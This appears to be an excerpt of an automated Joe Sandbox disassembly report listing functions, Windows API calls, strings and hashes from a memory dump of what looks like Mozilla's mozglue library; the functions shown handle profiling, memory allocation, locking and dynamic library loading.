ReleaseSRWLockExclusive.KERNEL32(6CC5F4B8,?,?,00000000,?,6CC1F598), ref: 6CC1F663

Strings

[D %d/%d] profiler_remove_sampled_counter(%s), xrefs: 6CC1F62A

Memory Dump Source

Source File: 00000000.00000002.2029081201.000000006CBD1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2029027005.000000006CBD0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029194104.000000006CC4D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029244892.000000006CC5E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029301553.000000006CC62000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_remove_sampled_counter(%s)
API String ID: 2848912005-753366533
Opcode ID: bcd96614f297b68c6efae299f96eb842b5515895c7c9a9757d0e8541d4f9157b
Instruction ID: bbe2dbe7ec4223602dddae2b35d51a079211120c754c6f60482de778612f2231
Opcode Fuzzy Hash: bcd96614f297b68c6efae299f96eb842b5515895c7c9a9757d0e8541d4f9157b
Instruction Fuzzy Hash: C0F0E975304200AFDF006B66D85896A7F7DEB8629DF840011FA05A3F01EB768C218775

Function 6CBE0E40 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 36libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(kernel32.dll,6CBE0DF8), ref: 6CBE0E82
GetProcAddress.KERNEL32(00000000,GetProcessMitigationPolicy), ref: 6CBE0EA1
__Init_thread_footer.LIBCMT ref: 6CBE0EB5
FreeLibrary.KERNEL32 ref: 6CBE0EC5

Strings

GetProcessMitigationPolicy, xrefs: 6CBE0E9B
kernel32.dll, xrefs: 6CBE0E7D

Memory Dump Source

Source File: 00000000.00000002.2029081201.000000006CBD1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2029027005.000000006CBD0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029194104.000000006CC4D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029244892.000000006CC5E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029301553.000000006CC62000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: Library$AddressFreeInit_thread_footerLoadProc
String ID: GetProcessMitigationPolicy$kernel32.dll
API String ID: 391052410-1680159014
Opcode ID: e6c34361e44bb0365212d704ce94319089bb9d7e41c7ab44c55f078482d0dafb
Instruction ID: c6118af11e22aa45b838208c738e15987056537ccea8c25dc9d1a80703bf4b31
Opcode Fuzzy Hash: e6c34361e44bb0365212d704ce94319089bb9d7e41c7ab44c55f078482d0dafb
Instruction Fuzzy Hash: D7016D70B003C1CFDF1A8FE8E814B563BB5F74A794F900525D901A2B41EB75A434DA16

Function 6CC105F0 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 31stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(<jemalloc>,?,?,?,?,6CC0CFAE,?,?,?,6CBD31A7), ref: 6CC105FB
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,<jemalloc>,00000000,6CC0CFAE,?,?,?,6CBD31A7), ref: 6CC10616
strlen.API-MS-WIN-CRT-STRING-L1-1-0(: (malloc) Error in VirtualFree(),?,?,?,?,?,?,?,6CBD31A7), ref: 6CC1061C
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,: (malloc) Error in VirtualFree(),00000000,?,?,?,?,?,?,?,?,6CBD31A7), ref: 6CC10627

Strings

: (malloc) Error in VirtualFree(), xrefs: 6CC1061B, 6CC10625
<jemalloc>, xrefs: 6CC105FA, 6CC1060F

Memory Dump Source

Source File: 00000000.00000002.2029081201.000000006CBD1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2029027005.000000006CBD0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029194104.000000006CC4D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029244892.000000006CC5E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029301553.000000006CC62000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: _writestrlen
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 2723441310-2186867486
Opcode ID: 93244a9d48099220ef11b354f82fdb1ea11b364bff274802670074f9b1813566
Instruction ID: 56686d0a656ac44433800ae1c6567862cbce14504be807a5d5597bde853b6699
Opcode Fuzzy Hash: 93244a9d48099220ef11b354f82fdb1ea11b364bff274802670074f9b1813566
Instruction Fuzzy Hash: 2CE08CE2A0101037F5142256AC86DFB7A1DDBC6138F084139FD0D82311F94AAD1E51F6

Function 6CBE05F0 Relevance: 9.2, APIs: 6, Instructions: 226COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2029081201.000000006CBD1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2029027005.000000006CBD0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029194104.000000006CC4D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029244892.000000006CC5E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029301553.000000006CC62000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bc59c664999c3a7221049a636310206d591d99e6532ac994c8e64d4e30aa64d7
Instruction ID: 8b0cd1a48c49e3cba286306ea001d5d370211fb5477360b486bfb59a0d3d50e1
Opcode Fuzzy Hash: bc59c664999c3a7221049a636310206d591d99e6532ac994c8e64d4e30aa64d7
Instruction Fuzzy Hash: 03A157B0A006458FDB14CF29D594B9AFBF1FF89704F44866ED44AA7B01EB30A955CFA0

Function 6CC314A0 Relevance: 9.2, APIs: 6, Instructions: 176threadtimeCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CC314C5
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6CC314E2
GetCurrentThreadId.KERNEL32 ref: 6CC31546
InitializeConditionVariable.KERNEL32(?), ref: 6CC315BA
free.MOZGLUE(?), ref: 6CC316B4

Memory Dump Source

Source File: 00000000.00000002.2029081201.000000006CBD1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2029027005.000000006CBD0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029194104.000000006CC4D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029244892.000000006CC5E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029301553.000000006CC62000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: CurrentThread$ConditionInitializeNow@Stamp@mozilla@@TimeV12@_Variablefree
String ID:
API String ID: 1909280232-0
Opcode ID: 835642f48ddc0f2b62b4d378b896cf5258327f3228a9b1b03de101f55b22d889
Instruction ID: 1fe985981d2b507b21434e1ee3d3c2633622dad5b104a7904822851c4bc650d0
Opcode Fuzzy Hash: 835642f48ddc0f2b62b4d378b896cf5258327f3228a9b1b03de101f55b22d889
Instruction Fuzzy Hash: B361DF31A007509FDB119F25D880BDEBBB4BF89308F44951CED8A67701EB35E959CB91

Function 6CC29F40 Relevance: 9.2, APIs: 6, Instructions: 157timeCOMMON

Download Yara Rule

APIs

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6CC29FDB
free.MOZGLUE(?,?), ref: 6CC29FF0
free.MOZGLUE(?,?), ref: 6CC2A006
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6CC2A0BE
free.MOZGLUE(?,?), ref: 6CC2A0D5
free.MOZGLUE(?,?), ref: 6CC2A0EB

Memory Dump Source

Source File: 00000000.00000002.2029081201.000000006CBD1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2029027005.000000006CBD0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029194104.000000006CC4D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029244892.000000006CC5E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029301553.000000006CC62000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: free$StampTimeV01@@Value@mozilla@@
String ID:
API String ID: 956590011-0
Opcode ID: c9b15e69f5c88cb8c0026bcfe950c0cd623fa0c95d72e3c49ccf15c356fcde3c
Instruction ID: 66f315de51048e752ca00042db450019200f5d2960b9dc11f47053222ac18090
Opcode Fuzzy Hash: c9b15e69f5c88cb8c0026bcfe950c0cd623fa0c95d72e3c49ccf15c356fcde3c
Instruction Fuzzy Hash: 826180755087419FC711CF18C48059AB7F5FFC8328F548659E8AA9B702EB36E98ACBC1

Function 6CC2DC50 Relevance: 9.1, APIs: 6, Instructions: 104timethreadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CC2DC60
AcquireSRWLockExclusive.KERNEL32(?,?,?,6CC2D38A,?), ref: 6CC2DC6F
free.MOZGLUE(?,?,?,?,?,6CC2D38A,?), ref: 6CC2DCC1
ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,6CC2D38A,?), ref: 6CC2DCE9
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?,6CC2D38A,?), ref: 6CC2DD05
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000001,?,?,?,6CC2D38A,?), ref: 6CC2DD4A

Memory Dump Source

Source File: 00000000.00000002.2029081201.000000006CBD1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2029027005.000000006CBD0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029194104.000000006CC4D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029244892.000000006CC5E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029301553.000000006CC62000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: ExclusiveLockStampTimeV01@@Value@mozilla@@$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 1842996449-0
Opcode ID: a9ecd58f47e2abba8940e821cdd2f9da4aa91b6c2f0eb35d9afe5383fb3c94da
Instruction ID: 07255bbd234e4aaa528c258d3b82344406d1c5c9b844dccbea63a31a215545f6
Opcode Fuzzy Hash: a9ecd58f47e2abba8940e821cdd2f9da4aa91b6c2f0eb35d9afe5383fb3c94da
Instruction Fuzzy Hash: BA416BB5A00705CFCB04CF99C890A9ABBF5FF88314B554569D946ABB10E775FC05CB90

Function 6CC16590 Relevance: 9.1, APIs: 4, Strings: 1, Instructions: 342COMMON

Download Yara Rule

APIs

Part of subcall function 6CC0FA80: GetCurrentThreadId.KERNEL32 ref: 6CC0FA8D
Part of subcall function 6CC0FA80: AcquireSRWLockExclusive.KERNEL32(6CC5F448), ref: 6CC0FA99

ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CC16727
?GetOrAddIndex@UniqueJSONStrings@baseprofiler@mozilla@@AAEIABV?$Span@$$CBD$0PPPPPPPP@@3@@Z.MOZGLUE(?,?,?,?,?,?,?,00000001), ref: 6CC167C8

Part of subcall function 6CC24290: memcpy.VCRUNTIME140(?,?,6CC32003,6CC30AD9,?,6CC30AD9,00000000,?,6CC30AD9,?,00000004,?,6CC31A62,?,6CC32003,?), ref: 6CC242C4

Strings

data, xrefs: 6CC16593

Memory Dump Source

Source File: 00000000.00000002.2029081201.000000006CBD1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2029027005.000000006CBD0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029194104.000000006CC4D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029244892.000000006CC5E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029301553.000000006CC62000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentIndex@P@@3@@ReleaseSpan@$$Strings@baseprofiler@mozilla@@ThreadUniquememcpy
String ID: data
API String ID: 511789754-2918445923
Opcode ID: 7a12d4df41058a3adbcf36cd12aa7eded4e153da53e2f35d2dd1a8e82a36bf23
Instruction ID: ddad61f258a53daecddd73c973efd5c995a24f4101047e53e8086c113b066f96
Opcode Fuzzy Hash: 7a12d4df41058a3adbcf36cd12aa7eded4e153da53e2f35d2dd1a8e82a36bf23
Instruction Fuzzy Hash: 88D1BF75A083408FD724DF25D851B9EBBF5AFC5308F10892DE48997B91EB31A849CB92

Function 6CC0D5D0 Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 279COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000001,?,?,?,?,6CBDEB57,?,?,?,?,?,?,?,?,?), ref: 6CC0D652
memset.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,?,6CBDEB57,?), ref: 6CC0D660
free.MOZGLUE(?,?,?,?,?,?,?,?,?,6CBDEB57,?), ref: 6CC0D673
free.MOZGLUE(?), ref: 6CC0D888

Strings

|Enabled, xrefs: 6CC0D81E

Memory Dump Source

Source File: 00000000.00000002.2029081201.000000006CBD1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2029027005.000000006CBD0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029194104.000000006CC4D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029244892.000000006CC5E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029301553.000000006CC62000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: free$memsetmoz_xmalloc
String ID: |Enabled
API String ID: 4142949111-2633303760
Opcode ID: 23440111785f030b8bb7a3d806c94db7932d1ef87ec814e6eacbacf2c5968856
Instruction ID: 39b72cbeb23bf595a8d4f286b2c99bd6d21bad759090d3f84929e0a43bf03d0d
Opcode Fuzzy Hash: 23440111785f030b8bb7a3d806c94db7932d1ef87ec814e6eacbacf2c5968856
Instruction Fuzzy Hash: F2A124B0B003498FDB15CF69C4907AEBBF1AF49318F18855CD889AB741E736E945CBA1

Function 6CC0F440 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 103fileCOMMON

Download Yara Rule

APIs

GetFileInformationByHandle.KERNEL32(00000000,?), ref: 6CC0F480

Part of subcall function 6CBDF100: LoadLibraryW.KERNEL32(shell32,?,6CC4D020), ref: 6CBDF122
Part of subcall function 6CBDF100: GetProcAddress.KERNEL32(00000000,SHGetKnownFolderPath), ref: 6CBDF132

CloseHandle.KERNEL32(00000000), ref: 6CC0F555

Part of subcall function 6CBE14B0: wcslen.API-MS-WIN-CRT-STRING-L1-1-0(6CBE1248,6CBE1248,?), ref: 6CBE14C9
Part of subcall function 6CBE14B0: memcpy.VCRUNTIME140(?,6CBE1248,00000000,?,6CBE1248,?), ref: 6CBE14EF

Part of subcall function 6CBDEEA0: memcpy.VCRUNTIME140(?,?,?), ref: 6CBDEEE3

CreateFileW.KERNEL32 ref: 6CC0F4FD
GetFileInformationByHandle.KERNEL32(00000000), ref: 6CC0F523

Strings

\oleacc.dll, xrefs: 6CC0F4CB

Memory Dump Source

Source File: 00000000.00000002.2029081201.000000006CBD1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2029027005.000000006CBD0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029194104.000000006CC4D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029244892.000000006CC5E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029301553.000000006CC62000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: FileHandle$Informationmemcpy$AddressCloseCreateLibraryLoadProcwcslen
String ID: \oleacc.dll
API String ID: 2595878907-3839883404
Opcode ID: 7eb4bbaceae1831e184152772ab205956a56869b1e43d99914eb40ec3a60f2a9
Instruction ID: 2de77e7a3ec4dccc797dfe30f6ff4e5283a7986e8aa7ac810a01b3858fbf2190
Opcode Fuzzy Hash: 7eb4bbaceae1831e184152772ab205956a56869b1e43d99914eb40ec3a60f2a9
Instruction Fuzzy Hash: A041BE307087509FE721DF69C884A9AB7F4AF84318F504A1CF59193650FB71E989CB96

Function 6CC374A0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 72COMMON

Download Yara Rule

APIs

SetLastError.KERNEL32(00000000), ref: 6CC37526
__Init_thread_footer.LIBCMT ref: 6CC37566
__Init_thread_footer.LIBCMT ref: 6CC37597

Strings

kernel32.dll, xrefs: 6CC37557
UnmapViewOfFile2, xrefs: 6CC37552

Memory Dump Source

Source File: 00000000.00000002.2029081201.000000006CBD1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2029027005.000000006CBD0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029194104.000000006CC4D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029244892.000000006CC5E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029301553.000000006CC62000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: Init_thread_footer$ErrorLast
String ID: UnmapViewOfFile2$kernel32.dll
API String ID: 3217676052-1401603581
Opcode ID: 2590ea4452fd84ab607625eb6902b7fd75aa7dcff15231c4f8a83371250e6336
Instruction ID: 3231920dda83aedfea7a5a86bc39491a9384a0352a188052315ca14aeb63abc6
Opcode Fuzzy Hash: 2590ea4452fd84ab607625eb6902b7fd75aa7dcff15231c4f8a83371250e6336
Instruction Fuzzy Hash: 41213A31700511EFCB1C8FAAD914E993375EB863A4B445528D40A67F80FB31B862CBA5

Function 6CC3A7A0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 43stringCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6CC5F770,-00000001,?,6CC4E330,?,6CBFBDF7), ref: 6CC3A7AF
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,accelerator.dll,?,6CBFBDF7), ref: 6CC3A7C2
moz_xmalloc.MOZGLUE(00000018,?,6CBFBDF7), ref: 6CC3A7E4
LeaveCriticalSection.KERNEL32(6CC5F770), ref: 6CC3A80A

Strings

accelerator.dll, xrefs: 6CC3A7BF

Memory Dump Source

Source File: 00000000.00000002.2029081201.000000006CBD1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2029027005.000000006CBD0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029194104.000000006CC4D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029244892.000000006CC5E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029301553.000000006CC62000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeavemoz_xmallocstrcmp
String ID: accelerator.dll
API String ID: 2442272132-2426294810
Opcode ID: 56d62b202343a50be43427dc07fe0bb1f6545d777ac0a94890c9038e33a10793
Instruction ID: 40dfdbde1addaa24ac4516b5106b57c89aa27d90536c9124d395fdff85f2fdff
Opcode Fuzzy Hash: 56d62b202343a50be43427dc07fe0bb1f6545d777ac0a94890c9038e33a10793
Instruction Fuzzy Hash: AF01A2B07003149FDF08DF96D8C4C557BB8FF8A394744806AE8099B751EBB0A820CBA1

Function 6CBDF0A0 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 26libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ole32,?,6CBDEE51,?), ref: 6CBDF0B2
GetProcAddress.KERNEL32(00000000,CoTaskMemFree), ref: 6CBDF0C2

Strings

ole32, xrefs: 6CBDF0AD
Could not find CoTaskMemFree, xrefs: 6CBDF0E3
Could not load ole32 - will not free with CoTaskMemFree, xrefs: 6CBDF0DC

Memory Dump Source

Source File: 00000000.00000002.2029081201.000000006CBD1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2029027005.000000006CBD0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029194104.000000006CC4D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029244892.000000006CC5E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029301553.000000006CC62000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: Could not find CoTaskMemFree$Could not load ole32 - will not free with CoTaskMemFree$ole32
API String ID: 2574300362-1578401391
Opcode ID: 631a26d5cc1ac1e42702e7d085326dcab7b74eb9fc75df4688bbeaad026087b5
Instruction ID: 38776e207242ceb81494baad761de0ee89ed490db3e8c5b96428c322c3c47403
Opcode Fuzzy Hash: 631a26d5cc1ac1e42702e7d085326dcab7b74eb9fc75df4688bbeaad026087b5
Instruction Fuzzy Hash: A4E048B074C2419FDF046E675C1C6263BFDAB161097958429E516E2E40FE61E430C616

Function 6CC100D0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 20libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(wintrust.dll,?,6CBE7235), ref: 6CC100D8
GetProcAddress.KERNEL32(00000000,CryptCATAdminCalcHashFromFileHandle2), ref: 6CC100F7
FreeLibrary.KERNEL32(?,6CBE7235), ref: 6CC1010E

Strings

CryptCATAdminCalcHashFromFileHandle2, xrefs: 6CC100F1
wintrust.dll, xrefs: 6CC100D3

Memory Dump Source

Source File: 00000000.00000002.2029081201.000000006CBD1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2029027005.000000006CBD0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029194104.000000006CC4D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029244892.000000006CC5E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029301553.000000006CC62000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: CryptCATAdminCalcHashFromFileHandle2$wintrust.dll
API String ID: 145871493-2559046807
Opcode ID: 07181963974f97ce077387e0dbdb27d9125e2bc3b03832a99341ef83bcc96bcb
Instruction ID: 5d9b0906dc6dd6b773f8411a4515550919efa2b8e9e4a20eb42659da89addaae
Opcode Fuzzy Hash: 07181963974f97ce077387e0dbdb27d9125e2bc3b03832a99341ef83bcc96bcb
Instruction Fuzzy Hash: 53E046703093069FEF049F26CA097223EF8A707214FE44419A90AF1B40EBB4C070EB10

Function 6CC10080 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 20libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(wintrust.dll,?,6CBE7204), ref: 6CC10088
GetProcAddress.KERNEL32(00000000,CryptCATAdminAcquireContext2), ref: 6CC100A7
FreeLibrary.KERNEL32(?,6CBE7204), ref: 6CC100BE

Strings

wintrust.dll, xrefs: 6CC10083
CryptCATAdminAcquireContext2, xrefs: 6CC100A1

Memory Dump Source

Source File: 00000000.00000002.2029081201.000000006CBD1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2029027005.000000006CBD0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029194104.000000006CC4D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029244892.000000006CC5E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029301553.000000006CC62000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: CryptCATAdminAcquireContext2$wintrust.dll
API String ID: 145871493-3385133079
Opcode ID: 8a47072891cba59ab801cfdf0f0e8c13dfebe0d88e5428399260ffe74fbb3a50
Instruction ID: 1b74b2aeb3823785830667e8c6816a705c0bef776558a358568ecffe77d73803
Opcode Fuzzy Hash: 8a47072891cba59ab801cfdf0f0e8c13dfebe0d88e5428399260ffe74fbb3a50
Instruction Fuzzy Hash: 29E012783053059FEF08AF26D8087013EF8BB0B344FD04416A910E2A40EBB5C030AB11

Function 6CC3C410 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6CC3C0E9), ref: 6CC3C418
GetProcAddress.KERNEL32(00000000,NtQueryVirtualMemory), ref: 6CC3C437
FreeLibrary.KERNEL32(?,6CC3C0E9), ref: 6CC3C44C

Strings

NtQueryVirtualMemory, xrefs: 6CC3C431
ntdll.dll, xrefs: 6CC3C413

Memory Dump Source

Source File: 00000000.00000002.2029081201.000000006CBD1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2029027005.000000006CBD0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029194104.000000006CC4D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029244892.000000006CC5E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029301553.000000006CC62000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: NtQueryVirtualMemory$ntdll.dll
API String ID: 145871493-2623246514
Opcode ID: 6e1aaf954e5c079fdd1ee50f74bc3847b23aae4b7c25b3dcf92692647ea08c6c
Instruction ID: c6a84d475d032653f145648b666bba13b6cc1c177187b0c34c215fba7548a452
Opcode Fuzzy Hash: 6e1aaf954e5c079fdd1ee50f74bc3847b23aae4b7c25b3dcf92692647ea08c6c
Instruction Fuzzy Hash: A6E0B6707023119FDF047F71D918B197FF8B707204F889216AA09B2B40EBB2D4348B50

Function 6CC375B0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6CC3748B,?), ref: 6CC375B8
GetProcAddress.KERNEL32(00000000,RtlNtStatusToDosError), ref: 6CC375D7
FreeLibrary.KERNEL32(?,6CC3748B,?), ref: 6CC375EC

Strings

RtlNtStatusToDosError, xrefs: 6CC375D1
ntdll.dll, xrefs: 6CC375B3

Memory Dump Source

Source File: 00000000.00000002.2029081201.000000006CBD1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2029027005.000000006CBD0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029194104.000000006CC4D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029244892.000000006CC5E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029301553.000000006CC62000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: RtlNtStatusToDosError$ntdll.dll
